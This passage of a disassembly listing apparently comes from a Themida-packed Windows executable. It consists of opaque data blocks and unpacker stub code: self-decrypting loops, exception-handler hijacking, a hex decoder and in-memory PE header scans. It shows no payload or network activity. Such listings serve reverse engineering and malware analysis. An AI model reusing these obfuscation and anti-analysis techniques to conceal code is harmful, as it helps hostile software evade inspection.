dup(0) dd 3040000h, 7FFEh, 0D3B90000h, 7FFEh, 6 dup(0) dd 0FFFF0000h, 57h, 6 dup(0) dd 1B980000h, 54h, 7 dup(0) dd 0EFF70000h, 62F0FFAFh, 1AED2323h, 57h, 20000h, 5 dup(0) dd 680000h, 4 dup(0) dd 28Bh, 2 dup(0) dd 685A0000h, 59h, 6 dup(0) dd 0A1440000h, 77E7h, 0Ah dup(0) dd 5D610000h, 5Ah, 0 dd 0ED890000h, 11FDh, 2 dup(0) dd 0F42C0000h, 0 dd 82200000h, 2 dup(0) dd 180B0000h, 0CF6277F5h, 5Bh, 3 dup(0) dd 0DAE9h, 0 dd 1D6E0000h, 20800057h, 59h, 95A0000h, 5Bh, 5 dup(0) dd 5B9A0000h, 0FFFFh, 0 dd 2BCF0000h, 144Fh, 5FA70000h, 32A9h, 0Ah dup(0) dd 56430000h, 24560000h, 54h, 0 dd 0FF400000h, 0FFFFh, 7 dup(0) dd 0A170000h, 2 dup(0) dd 0CA870000h, 6F170057h, 5Bh, 7 dup(0) dd 390000h, 0 dd 9200000h, 5E2E0000h, 15E600A0h, 54h, 2 dup(0) dd 0CC6F0000h, 57h, 4 dup(0) dd 69DD0000h, 0FCFF00A0h, 8001h, 0Bh dup(0) dd 6B740000h, 9E66h, 2 dup(0) dd 21680000h, 77E8h, 2 dup(0) dd 0B5E20000h, 238A0Fh, 0B80057h, 0B000000h, 0C20374C0h dd 448B0018h, 0E8530C24h, 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 14h dup(0) dd 1A340000h, 9E6477B4h, 0FFFFh, 6 dup(0) dd 73160000h, 0A2h, 936F0000h, 7E80h, 0 dd 0C4740000h, 5EECh, 0 dd 0B19E0000h, 57h, 27h dup(0) dd 20940000h, 54h, 6 dup(0) dd 0FF540000h, 12h, 3 dup(0) dd 10000h, 0 dd 0E9000000h, 57h, 3 dup(0) dd 0D7060000h, 0FFDD77E6h, 0C35500B2h, 5Ah, 4F970000h dd 3FA6h, 0 dd 241h, 5 dup(0) dd 35B0000h, 0B5E20000h, 0Eh dup(0) dd 0C10000h, 863D0000h, 0 dd 9F30000h, 2BA1h, 3040000h, 7FFEh, 2 dup(0) dd 0F3F00000h, 700007h, 0 dd 6D570000h, 5Bh, 3 dup(0) dd 5CB50000h, 0AFC177E7h, 0CFD70000h, 1E44h, 67730000h dd 58h, 3 dup(0) dd 32680000h, 0A1h, 3 dup(0) dd 0FE780000h, 0A6E90057h, 77EBh, 0CF620000h, 5Bh, 0 dd 270C0000h, 58h, 9CEF0000h, 57h, 0 dd 87530000h, 46h, 53B50000h, 1E2B1AEEh, 7C29h, 3 dup(0) dd 6B740000h, 137D005Bh, 72F6h, 0 dd 0F4F60000h, 53h, 0 dd 4DCA0000h, 8D8D6FCEh, 4 dup(0) dd 9F2E0000h, 4A30015h, 0B5h, 9 dup(0) dd 76CD0000h, 77E7h, 0 dd 0E1D60000h, 57h, 0B5C50000h, 8818h, 4 dup(0) dd 14B60000h, 7FA6h, 0Ah dup(0) dd 0AA220000h, 0ADF6h, 2 dup(0) dd 0B2280000h, 92340000h, 0A0h, 0 dd 99950000h, 0A4h, 3 dup(0) dd 0C6000000h, 0C8D90003h, 58h, 69DD0000h, 5CB500A0h, 77E7h dd 0C9F30000h, 3C11h, 0 dd 40000h, 0 dd 0FB8C0000h, 480Ah, 9 dup(0) dd 9BA40000h, 800059h, 0 dd 3040000h, 7FFEh, 64h dup(0) dd 0E4480000h, 915B0000h, 0A0h, 3040000h, 7FFEh, 0 dd 14340000h, 70E00000h, 29E3h, 0FF2C0000h, 0FFFFh, 0 dd 0FF540000h, 12h, 2B0000h, 4 dup(0) dd 8D530000h, 6B7400A4h, 9E66h, 3 dup(0) dd 11110000h, 1111h, 0E3570000h, 1BDAh, 0 dd 10000h, 3 dup(0) dd 0FD7A0000h, 0C1E00053h, 0CBD30001h, 0FA2Ch, 2 dup(0) dd 0E53E0000h, 3E68490Eh, 400277E8h, 65700000h, 5Ah, 0 dd 7D10000h, 6 dup(0) dd 76B4h, 3 dup(0) dd 83ED0000h, 5Ah, 2 dup(0) dd 0A40000h, 0 dd 249h, 11h dup(0) dd 0ADE70000h, 5 dup(0) dd 840000h, 0 dd 4A030000h, 8018h, 3 dup(0) dd 0B4EA0000h, 0B5FDFD42h, 7FE7h, 0B7h, 6 dup(0) dd 8BBC0000h, 59h, 7 dup(0) dd 0FD550000h, 11DCh, 5 dup(0) dd 2ABA0000h, 0A10h, 9 dup(0) dd 20000h, 4AF00000h, 7501000Eh, 398Eh, 0Bh dup(0) dd 40h, 0 dd 11A0000h, 5Bh, 4 dup(0) dd 1AD30000h, 57h, 3 dup(0) dd 259h, 2 dup(0) dd 83780000h, 8ECBh, 6D570000h, 5Bh, 4 dup(0) dd 0FFF00000h, 0FD9C0012h, 77EBh, 0 dd 0FF700000h, 0FFFFh, 4 dup(0) dd 15E0000h, 4 dup(0) dd 69DD0000h, 0A0h, 3040000h, 7FFEh, 880000h, 4 dup(0) dd 940000h, 4 dup(0) dd 1B400000h, 76B4h, 0E9750000h, 4A4Ch, 0 dd 0A0990000h, 108E77E7h, 176Ah, 0 dd 3040000h, 7FFEh, 9 dup(0) dd 1050000h, 0A28h, 0 dd 980000h, 5 dup(0) dd 0A4A30000h, 57h, 5D80000h, 77E8h, 3 dup(0) dd 7FD80000h, 0FFED00A2h, 77FFh, 3040000h, 7FFEh, 3 dup(0) dd 17B20000h, 58h, 0 dd 3040000h, 7FFEh, 6 dup(0) dd 4A030000h, 4F928018h, 57h, 2 dup(0) dd 9Fh, 0 dd 0B5E20000h, 8A0Fh, 1CE90000h, 9BAC1C07h, 0A2h, 3 dup(0) dd 0B1CA0000h, 961000AEh, 5F07h, 3 dup(0) dd 68C10000h, 0E246h, 2 dup(0) dd 77950000h, 71AC0057h, 8C0A0000h, 0A0h, 3 dup(0) dd 0A0370000h, 0A0h, 4 dup(0) dd 0F150000h, 5Ah, 9C0000h, 0 dd 40F60000h, 0FF50h, 0A80000h, 2 dup(0) dd 0FA560000h, 0A0h, 1B980000h, 54h, 0 dd 97200000h, 0FFFFh, 5 dup(0) dd 0FEF00000h, 12h, 0 dd 0B40A0000h, 2E14h, 8 dup(0) dd 0B1A70000h, 40D000Ch, 5Bh, 9 dup(0) dd 0FF1C0000h, 3 dup(0) dd 3040000h, 57h, 2 dup(0) dd 0E53E0000h, 490Eh, 3 dup(0) dd 0D4660000h, 5Ah, 2 dup(0) dd 0A00000h, 9 dup(0) dd 380000h, 2 dup(0) dd 0FD7A0000h, 53h, 0 dd 8A00000h, 5 dup(0) dd 98E20000h, 3A43FF50h, 4E49575Ch, 53574F44h, 7379535Ch dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Fh dup(0) dd 6180000h, 77E8h, 0 dd 17B20000h, 58h, 0Bh dup(0) dd 0B5E20000h, 3 dup(0) dd 4A2D0000h, 5Ah, 3 dup(0) dd 3090000h, 14Eh, 75CE0000h, 4 dup(0) dd 10000h, 3 dup(0) dd 1B980000h, 54h, 0B5920000h, 0 dd 82200000h, 2 dup(0) dd 85F10000h, 77FCh, 8C0A0000h, 0A0h, 3 dup(0) dd 77A70000h, 3040057h, 7FFEh, 3 dup(0) dd 14A0000h, 0D31h, 3 dup(0) dd 67700000h, 23E87B1Ah, 0A1h, 4 dup(0) dd 75B50000h, 0 dd 8C0000h, 3 dup(0) dd 48610000h, 0DDFEh, 59C0000h, 5D80000h, 77E8h, 12AA0000h dd 6 dup(0) dd 272F0000h, 7C9Eh, 5 dup(0) dd 874E0000h, 57h, 2 dup(0) dd 8B820000h, 30477E7h, 7FFEh, 3 dup(0) dd 0D3BD0000h, 7FFEh, 0 dd 0E9750000h, 4A4Ch, 11h dup(0) dd 0FF600000h, 0FFFFh, 0 dd 8A0000h, 0 dd 3E3B0000h, 0A0h, 0 dd 9CE40000h, 0FFFFh, 30DF0000h, 0 dd 0DFE20000h, 0FFA8h, 0 dd 0FFFF0000h, 0BFFFh, 3 dup(0) dd 0FFB00000h, 0D3300140h, 0FFA4h, 10h dup(0) dd 75B50000h, 2 dup(0) dd 27550000h, 477E8h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5415EA: ; CODE XREF: start:loc_53E281j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5E73373h mov [ebp+5E703F1h], edx mov [ebp+5E72245h], esi mov [ebp+5E72C65h], eax cmp dword ptr [ebp+5E71B39h], 0 jz short loc_541622 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_541622: ; CODE XREF: start+61600j mov eax, [esp+40h+var_1C] mov [ebp+5E70211h], eax push 45h call sub_5416D6 push 783749Ah call sub_54171C push 0A894B25h call sub_54171C jmp loc_541860 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5416D6 proc near ; CODE XREF: start+6161Ap var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5E73461h mov ebx, edx mov [ebp+var_28], 0 loc_5416F2: ; CODE XREF: sub_5416D6+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_541711 mov eax, [ebp+arg_0] mov [ebx+5E733CBh], eax inc [ebp+arg_0] inc ebx jmp short loc_5416F2 ; --------------------------------------------------------------------------- loc_541711: ; CODE XREF: sub_5416D6+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_5416D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54171C proc near ; CODE XREF: start+61624p start+6162Ep var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5E734AAh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_541742: ; CODE XREF: sub_54171C+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_541742 mov [ebp+var_84], 0 lea edi, [edx+5E733CBh] lea esi, [ebp+var_80] loc_541772: ; CODE XREF: sub_54171C+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54177E: ; CODE XREF: sub_54171C+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54177E imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_541772 popa leave retn 4 sub_54171C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_5417BC ; --------------------------------------------------------------------------- loc_5417B8: ; CODE XREF: Themida_:005417BFj inc dword ptr [ebp-4] inc esi loc_5417BC: ; CODE XREF: Themida_:005417B6j cmp byte ptr [esi], 0 jnz short loc_5417B8 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54184D ; --------------------------------------------------------------------------- loc_5417CE: ; CODE XREF: Themida_:00541850j mov dword ptr [ebp-8], 0 jmp short loc_541844 ; --------------------------------------------------------------------------- loc_5417D7: ; CODE XREF: Themida_:00541848j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_541831 ; --------------------------------------------------------------------------- loc_5417E7: ; CODE XREF: Themida_:00541835j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_541809 cmp bl, 39h ja short loc_541809 sub bl, 30h jmp short loc_54182B ; --------------------------------------------------------------------------- loc_541809: ; CODE XREF: Themida_:005417FDj ; Themida_:00541802j cmp bl, 61h jb short loc_54181B cmp bl, 66h ja short loc_54181B sub bl, 61h add bl, 0Ah jmp short loc_54182B ; --------------------------------------------------------------------------- loc_54181B: ; CODE XREF: Themida_:0054180Cj ; Themida_:00541811j cmp bl, 41h jb short loc_54182B cmp bl, 46h ja short loc_54182B sub bl, 41h add bl, 0Ah loc_54182B: ; CODE XREF: Themida_:00541807j ; Themida_:00541819j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_541831: ; CODE XREF: Themida_:005417E5j cmp dword ptr [ebp-0Ch], 2 jb short loc_5417E7 cmp dword ptr [ebp-10h], 0 jbe short loc_541841 mov eax, [ebp-10h] stosb loc_541841: ; CODE XREF: Themida_:0054183Bj inc dword ptr [ebp-8] loc_541844: ; CODE XREF: Themida_:005417D5j cmp dword ptr [ebp-8], 2 jb short loc_5417D7 add edx, 4 loc_54184D: ; CODE XREF: Themida_:005417CCj cmp edx, [ebp-4] jb loc_5417CE mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541860: ; CODE XREF: start+61633j mov ecx, 7000h lea edi, [ebp+5E735F0h] loc_54186B: ; CODE XREF: start+6185Bj dec byte ptr [edi] inc edi dec ecx jnz short loc_54186B mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+5E736E7h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push edi call sub_5418A7 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_5418A7 proc near ; CODE XREF: start+6188Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5418A7 endp ; --------------------------------------------------------------------------- db 59h dd 78D0F43h, 50000000h, 0CD5923BBh, 0F3805B26h, 68F381E9h dd 2B2A6E49h, 25F9C2h, 66FFFFF0h, 8B2D69BBh, 66FF33CAh dd 5A4D3881h, 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h dd 10002Dh, 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 5E736FAh dd 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 0E73705EDh, 0C3858D05h, 8905E736h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0FE894F0h dd 0 dd 0F79F508Ch, 4CCCE34Ah, 0E2279755h, 13E9E278h, 88000000h dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0F5B367Fh dd 8Ch, 0D98C6600h, 7E9h, 162BDC00h, 6033F96Bh, 0F04E180h dd 0C8Bh, 7E900h, 75570000h, 57718A5Ch, 0FC90AFAh, 4485h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 2D3D8CBBh, 6E854B6Eh, 0F185C7B3h, 105E707h dd 0F000000h, 286h, 0E90EB300h, 16h, 890Fh, 0BF0F0000h dd 0F185C7DEh, 5E707h, 0F000000h, 8589DABFh, 5E70C25h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4DC35141h dd 47AB3D2Ah, 0EDBBCA8Ah, 89428773h, 0E72DC585h, 0FE805h dd 0E1320000h, 8629D4A3h, 9DF208A5h, 3736DA08h, 0EE875h dd 8C7B0000h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h, 5EFFBF0Fh dd 81C88B5Ah, 5EA5C2h, 0C5DE8100h, 0BB36C115h, 116B3736h dd 1FBBEB81h, 0F9B1116Bh, 0C081028Bh, 64ADDC06h, 10E952h dd 2A4C0000h, 6308BCA6h, 845A1F54h, 9DD85601h, 815F7F26h dd 0EA1A91C0h, 6660601Ah, 0C380D18Bh, 6CBF6177h, 61542D7Eh dd 0A4E8E881h, 28919C6h, 14E9h, 94028A00h, 0C1364C97h dd 2B390D4Ah, 941C479Dh, 768102D9h, 4EA8394h, 0FE9h, 0FD50DA00h dd 39316CB4h, 29018187h, 8F9992A9h, 1EB81h, 850F0000h dd 0FFFFFF88h, 0E9CEB70Fh, 6FCh, 9E9h, 53533700h, 0A5B87AAFh dd 217208Ah, 70000h, 840F0000h, 1, 600000F8h, 16918509h dd 61F505E7h, 6E960h, 728E0000h, 0BD19B224h, 0B8h, 548BFC00h dd 9E92824h, 0B6000000h, 0A6CCFDD8h, 9C77383Eh, 25C58589h dd 800F05E7h, 0Dh, 8E9h, 85F74000h, 7FCD8E12h, 3CBEE6h dd 890F0000h, 6, 32F59509h, 14E905E7h, 2D000000h, 4B8E88A8h dd 689D9265h, 0EC6290A1h, 91DE411h, 3200608h, 89242474h dd 0E72F058Dh, 0E9AD6605h, 0Fh, 6AA6809Bh, 241A043Fh, 5CB8DB5Ah dd 363863Fh, 60242444h, 20898509h, 0BD8B05E7h, 5E727A5h dd 50605061h, 0F616052h, 0D18B6631h, 13E8585Ah, 44000000h dd 58FDCC82h, 6B6AAABBh, 0C8D0361Dh, 59070F61h, 5B565991h dd 489615Bh, 0AE924h, 54EB0000h, 0E1B86A7h, 0FCAF6546h dd 4A1B529h, 408B05E7h, 68C0F78h, 89000000h, 0E72B3595h dd 24440305h, 0EDB58928h, 0FC05E70Bh, 6018408Bh, 12E8h dd 0B2A8B00h, 0D4F147F8h, 0D2BA1877h, 89139C53h, 81D673A0h dd 166E79EFh, 0B5015E3Fh, 5E70875h, 0B9BD0161h, 4005E726h dd 0A8C0Fh, 60600000h, 800F61h, 61000000h, 38FD8589h, 58FC05E7h dd 0DB9B509h, 708B05E7h, 0E6816078h, 7E114B12h, 0BE9h dd 0D6206800h, 2B7811B8h, 46F64562h, 1CC68361h, 7403F5FCh dd 29F52424h, 0E70B7D85h, 75BD8D05h, 6005E712h, 61F5F18Bh dd 0C870FADh, 0F000000h, 683h, 820F00h, 3000000h, 89242444h dd 0E726DDBDh, 0EE905h, 1CB20000h, 0F41BF411h, 0CEC5B0D5h dd 55C96696h, 0BD8DF8ABh, 5E731BDh, 0DE9h, 0B37E9B00h dd 26E52CDh, 0DC47DD90h, 0FAD5AEEh, 685h, 699D0900h, 0F05E70Eh dd 687h, 0F19D8900h, 305E722h, 0F242444h, 78Ah, 1800F00h dd 0F9000000h, 0B800F90h, 0E9000000h, 6, 3508AEB3h, 60507AAEh dd 10E9h, 1C5A4700h, 119E8439h, 0EEE8BB26h, 53517A4Eh dd 38E0F85h, 66000000h, 9061DA8Bh, 0B7DB529h, 60AB05E7h dd 6C72BF66h, 2E258D8Bh, 606105E7h, 1CDAE6BBh, 0BD8D617Eh dd 5E7266Dh, 4799589h, 9D0105E7h, 5E713D1h, 0F98D29ADh dd 0E905E70Ch, 6, 2B4359F9h, 4403210Fh, 89602824h, 0E72DD195h dd 99952905h, 6105E722h, 68B0FABh, 31000000h, 0E70395BDh dd 0B5095E05h, 5E72D6Dh, 38FD8DFFh, 0BD8305E7h, 5E738FDh dd 0C7107500h, 1C2444h, 8D000000h, 0E73DD9B5h, 56E6FF05h dd 244403ADh, 0DF8B9728h, 7F9858Ah, 0C08405E7h, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 5E725C5h, 0FFFF6FE9h, 89F95EFFh, 0E725C98Dh dd 58D8905h, 8B05E731h, 0E725C585h, 66566005h, 0E97DF281h dd 8DBD895Ah, 6105E72Bh, 8531E0D1h, 5E731F5h, 0C98D0960h dd 0B05E702h, 0E703B58Dh, 85036105h, 5E7266Dh, 0DDDB529h dd 0BE05E7h, 89000000h, 0E733559Dh, 890F9605h, 0Eh, 9E9h dd 5286200h, 35BB897Ch, 0AD666FFFh, 0FE9h, 76BAF400h, 5CF297Fh dd 8D525289h, 0BF5DFB82h, 118E0Fh, 0CE90000h, 43000000h dd 644E7089h, 0F7EBF66h, 0C17E813Ah, 8A0F02E0h, 0Bh, 6E9h dd 0A7090200h, 3907665h, 0E7127585h, 0E996FC05h, 5, 7A9A75ADh dd 8BF5ADC5h, 6024244Ch, 0B8C2B70Fh, 76F69536h, 24440361h dd 66576024h, 2958D08Bh, 0E70771B5h, 44896105h, 5E91C24h dd 11000000h, 998D13E0h, 9589FC96h, 5E723C9h, 0C932F9ACh dd 16D58589h, 0C1FE05E7h, 33618589h, 0D0D005E7h, 0A4830Fh dd 14E90000h, 0FD000000h, 373079D9h, 0BF3F0B3Fh, 0DF698791h dd 912E5BCFh, 0D04B9540h, 83830FD0h, 0F8000000h, 820FD0D0h dd 7Ah, 21A59589h, 0D0D005E7h, 6C820Fh, 0B5310000h, 5E71B9Dh dd 0E2DB509h, 0C9FE05E7h, 0FFAC890Fh, 0BD09FFFFh, 5E72EE5h dd 2CC1B589h, 0C48305E7h, 0AE920h, 6B80000h, 0FBDE4950h dd 7CCAB889h, 0FC2444C7h, 0 dd 8E9h, 0F322BE00h, 9101192Eh, 1B8D1h, 830F0000h, 6, 2C8D9D89h dd 8D8D05E7h, 5E77189h, 13658D29h, 0E1FF05E7h, 13D19D89h dd 85C605E7h, 5E707F9h, 498D8900h, 0F05E71Bh, 682h, 0D59D8900h dd 6105E731h, 12B98D89h, 8C205E7h, 12E900h, 39EE0000h dd 0D28F6F96h, 57095296h, 7E1A0642h, 0B623F13Ch, 1E810F50h dd 50000000h, 0F616052h, 11E931h, 40CB0000h, 91721D8Fh dd 23E1B23Ch, 50801526h, 5A82D2E3h, 24348958h, 0EE9h, 567A9500h dd 782E103h, 0AEDA1052h, 8943E9D1h, 0E73FBBB5h, 8D89F805h dd 5E73FC6h, 27458589h, 0B58D05E7h, 5E73E92h, 8E9h, 38730200h dd 0F2656B52h, 35858DF8h, 0F005B7Eh, 18Bh, 0D0FFF900h dd 9D295EF9h, 5E72AF5h, 419509C3h, 8B05E72Ch, 0E73FBBB5h dd 0D853105h, 8B05E70Ch, 0E73FC68Dh, 6D858905h, 0B805E70Dh dd 0 dd 0AD858B60h, 0BA05E701h, 390AF56Dh, 29D98B61h, 0E72B15BDh dd 25958905h, 0E905E717h, 0B7h, 0CB5BD89h, 263205E7h, 981B509h dd 2B205E7h, 7AE9F5h, 8B600000h, 68D0FDEh, 89000000h, 0E72EE585h dd 0C2326105h, 24519501h, 7A0505E7h, 0E98A751Dh, 14h, 800A2AA8h dd 1455F37Fh, 0D477406h, 7E02C474h, 1B55C854h, 9CBE6060h dd 664B0049h, 613AD5BEh, 0CC8A61FCh, 7E9h, 50911E00h, 5E9A11AAh dd 6019D89h, 0C8D305E7h, 7E9h, 0B03D4100h, 0C5BD027Dh dd 0D1084235h, 0B70F6098h, 61C1B4D7h, 9D89CAFEh, 5E70B61h dd 850FD20Ah, 0FFFFFF8Eh, 0DF816660h, 0B8668C83h, 4B6191A4h dd 6830F60h, 8B000000h, 0E701D995h, 0E4F78005h, 0BFC4661h dd 47850FDBh, 0FFFFFFFh, 68Ch, 75B53100h, 8905E71Ch, 0E717058Dh dd 0E860CF05h, 9, 0FB19983Ah, 35D1C242h, 0C2BF0FCDh, 0C8C2815Eh dd 615DD76Fh, 85890000h, 5E70D51h, 0F80000h, 800F6000h dd 4, 0E2B5B966h, 2DD19589h, 6105E7h, 9E900h, 741B0000h dd 0E16E639Ah, 0F81DCB07h, 3917858Dh, 0B53105E7h, 5E70771h dd 31558589h, 8DF505E7h, 0E73E1385h, 68F0F05h, 89000000h dd 0E72DD9BDh, 13E905h, 0A8680000h, 0F7BB63BDh, 550BAD96h dd 4DEEF97Ch, 4EA3132Eh, 418589D5h, 0E805E725h, 0Fh, 1A2960B0h dd 2B3EEBD7h, 421E3578h, 0E8B0A9C7h, 9, 4852EFCCh, 0F41B4C0h dd 8D2B60E7h, 5E7321Dh, 820Fh, 59610000h, 81FE8B5Bh, 5B95C3h dd 0FCE18100h, 0BE53007Ch, 0 dd 0FFC0B70Fh, 0D8801E34h, 0DE95A1Eh, 35000000h, 9CF0A57Eh dd 12D7EB1Eh, 6846DB38h, 0C96EEA81h, 81F53AADh, 0A8995AF2h dd 0E081665Dh, 0C281AF28h, 0C88EAEDh, 21D18166h, 8B6652BBh dd 33048FF9h, 23418589h, 853105E7h, 5E70615h, 8B02EE83h dd 0E713498Dh, 0F4E4E05h, 284h, 81E38A00h, 0FFA544FEh dd 19850FFFh, 0FC000000h, 2CE9h, 0B072A200h, 0EF85B2F8h dd 8131E475h, 1205DE8Bh, 7A59F0Eh, 2800F60h, 0B6000000h dd 0CE8B66F0h, 0FF6DE961h, 8F85FFFFh, 8DFEEF88h, 14EB56h dd 3 dup(0) dd 8B000000h, 8D000000h, 0E741D585h, 0D5858905h, 8305E722h dd 0E7411EBDh, 840F0005h, 123h, 7F985C6h, 685605E7h, 0DBFD38A1h dd 98243481h, 0FF0FE255h, 0E70C25B5h, 17858D05h, 0FF05E739h dd 128589D0h, 0C605E741h, 0E707F985h, 0F8685605h, 81D116CEh dd 76AA2434h, 0B5FF4DBEh, 5E70C25h, 3917858Dh, 0D0FF05E7h dd 41168589h, 46A05E7h, 0BB4F3E68h, 240481E5h, 1A44C0C2h dd 4122858Bh, 0F40505E7h, 0C1000001h, 895002E0h, 6A2404h dd 411695FFh, 858905E7h, 5E7411Ah, 0FFB8D88Bh, 0FFFFFFFFh dd 0E722D595h, 0FFC38B05h, 0E722D595h, 8DE905h, 0BD830000h dd 5E7411Eh, 1850F00h, 0C3000000h, 1ABD8B57h, 0AB05E741h dd 411A8583h, 5F0405E7h, 1EBD83C3h, 5E741h, 1850Fh, 60C30000h dd 411AAD83h, 8B0405E7h, 0E7411A9Dh, 0FC7B8305h, 26850FFFh dd 0E8000000h, 4, 8000h, 24448B50h, 89008B04h, 58042444h dd 33FF006Ah, 411295FFh, 0C36105E7h, 1DE9h, 6E1A6800h dd 481D492h, 6E11E624h, 0FF006A2Bh, 1295FF33h, 8305E741h dd 0E7411AADh, 0A8E90405h, 48FFFFFFh, 1ADE9h, 748B6000h dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h dd 0D2124616h, 6A830Fh, 0C0330000h, 850FD202h, 5, 1246168Ah dd 2A830FD2h, 2000001h, 5850FD2h, 8A000000h, 0D2124616h dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0FC013D2h, 684h, 0F82B5700h, 885F078Ah, 2BB4707h, 0E9000000h dd 0FFFFFF70h, 1B8h, 0FD20200h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 2BFFFFFFh, 1BBC3h dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h dd 3D000000h, 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFEB4h, 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h, 0E9000009h dd 9D3h, 0C26DDB06h, 9D818BB6h, 0F2DDB1Ah, 32562AFFh, 6F67616Bh dd 58FA6A0h, 0D56EF856h, 3BAC726h, 0CF6DFD5Bh, 958DC9BDh dd 5C7FCC08h, 775138EEh, 0C082A64h, 1185ACD0h, 8762F94Bh dd 5B8C726h, 0CF6DFE54h, 8892C9A7h, 427FD312h, 604A26F2h dd 6F632470h, 1592E0E4h, 0D52FE84Bh, 5AD8927h, 0D66DE840h dd 889386A1h, 71D31Ch, 63h dup(0) dd 0CB6DDB06h, 8E9D87BCh, 